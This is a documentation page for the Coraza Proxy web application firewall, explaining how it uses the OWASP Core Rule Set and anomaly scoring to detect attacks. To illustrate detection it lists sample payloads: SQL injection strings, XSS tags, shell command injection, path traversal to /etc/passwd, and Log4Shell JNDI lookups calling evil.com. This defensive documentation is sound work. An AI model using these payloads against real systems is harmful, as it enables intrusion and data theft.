Overview
Coraza Proxy uses the OWASP Core Rule Set (CRS) to detect and block a comprehensive range of web attacks. The WAF operates on an anomaly scoring system where suspicious patterns increase a request’s threat score until it crosses a threshold and gets blocked.Detection Mechanism
The detection process follows these phases:Phase 1: Connection & Headers
- Malicious headers (Log4Shell in User-Agent, XSS in custom headers)
- Protocol violations (missing Host header, invalid HTTP version)
- Method restrictions (disallowed HTTP methods)
Phase 2: Request Body
- SQL injection in POST data
- XSS payloads in JSON or form fields
- Command injection attempts
- Content-type validation
Phase 3: Response Headers
- Data leakage in response headers
- Error message disclosure
Response body inspection is disabled by default (
tx.crs_skip_response_analysis=1) to prevent resource exhaustion attacks when serving large files.OWASP Top 10 Coverage
A1: Injection Attacks
SQL Injection (SQLi)
Detected Patterns:- Classic boolean-based:
1' OR '1'='1 - UNION-based:
1 UNION SELECT 1,2,3-- - Time-based:
1 AND SLEEP(5) - Error-based:
1' AND (SELECT * FROM users)-- - Boolean logic:
1 AND 1=1
- Rule ID 942xxx series
- Detects SQL keywords:
UNION,SELECT,INSERT,DELETE,UPDATE,DROP - SQL operators:
--,/**/,'," - SQL functions:
SLEEP(),BENCHMARK(),WAITFOR
NoSQL Injection
Detected Patterns:- MongoDB operators:
{"$ne": null} - JSON injection:
{"username": {"$gt": ""}}
Command Injection (RCE)
Detected Patterns:- Shell metacharacters:
;,|,&&,|| - Common commands:
ls,cat,whoami,wget - Command substitution:
$(cmd),`cmd` - File operations:
cat /etc/passwd
- Rule ID 932xxx series
- Detects Unix/Windows command execution attempts
LDAP/XML/XPath Injection
Detected Patterns:- LDAP filter injection
- XML entity expansion
- XPath query manipulation
A2: Broken Authentication
Detected Patterns:- Excessive login attempts (via rate limiting)
- Session fixation attempts
- Authentication bypass patterns
PROXY_RATE_LIMIT and PROXY_RATE_BURST).
A3: Sensitive Data Exposure
Detected Patterns:- XSS in JSON responses
- Error messages with sensitive information
- Data leakage in headers
A5: Broken Access Control
Path Traversal / Local File Inclusion (LFI)
Detected Patterns:- Directory traversal:
../../etc/passwd - Windows paths:
..\..\windows\system32 - Encoded traversal:
%2e%2e%2f - Null byte injection:
file.php%00.jpg
- Rule ID 930xxx series
- Path normalization checks
A6: Security Misconfiguration
Detected Patterns:- Missing Host header
- Invalid HTTP versions
- Malicious custom headers
A7: Cross-Site Scripting (XSS)
Detected Patterns:- Script tags:
<script>alert(1)</script> - Event handlers:
<img src=x onerror=alert(1)> - JavaScript protocol:
javascript:alert(1) - Encoded XSS:
%3Cscript%3E - SVG-based XSS
- CSS expression injection
- Rule ID 941xxx series
- Detects HTML tags, JavaScript keywords, event handlers
A8: Insecure Deserialization
Detected Patterns:- PHP object injection:
O:8:"stdClass" - Java serialization magic bytes
- Python pickle exploitation
A9: Using Components with Known Vulnerabilities
Log4Shell (CVE-2021-44228)
Detected Patterns:- JNDI lookup:
${jndi:ldap://evil.com} - Nested lookups:
${${::-j}ndi:ldap://evil.com} - Various obfuscations
- Special rule ID 944240 (Log4Shell specific)
A10: Insufficient Logging & Monitoring
Coraza provides comprehensive audit logging:Protocol-Level Attacks
HTTP Request Smuggling
Detected Patterns:- Conflicting Content-Length and Transfer-Encoding headers
- Multiple Content-Length headers
- Invalid chunked encoding
HTTP Response Splitting
Detected Patterns:- CRLF injection in headers:
\r\n - Newline characters in user input
Invalid UTF-8 Encoding
Detected Patterns:- Malformed UTF-8 sequences:
%C0,%C1 - Overlong encodings
- Invalid byte sequences
Additional Security Layers
Bot Detection
GeoIP Blocking
Rate Limiting
Per-IP rate limiting prevents:- Brute force attacks
- DoS/DDoS attempts
- Excessive scraping
- Resource exhaustion
Anomaly Scoring System
The CRS uses an anomaly scoring approach:- Each rule that matches increases the anomaly score
- Critical rules add more points than warning rules
- When the total score exceeds the threshold, the request is blocked
- Inbound: 5 points
- Outbound: 4 points
- Inbound: 7 points
- Outbound: 5 points
- CRITICAL: 5 points
- ERROR: 4 points
- WARNING: 3 points
- NOTICE: 2 points
A single critical vulnerability (like SQL injection) typically scores 5 points, immediately triggering PL1’s threshold. Multiple low-severity violations can also accumulate to trigger blocking.
Bypassing False Positives
If legitimate requests are blocked:- Check audit logs at
/tmp/log/coraza/audit.log - Identify the rule ID causing the block
- Disable specific rules in your configuration:
- Adjust anomaly thresholds for less sensitive applications
- Use rule exclusions for specific endpoints
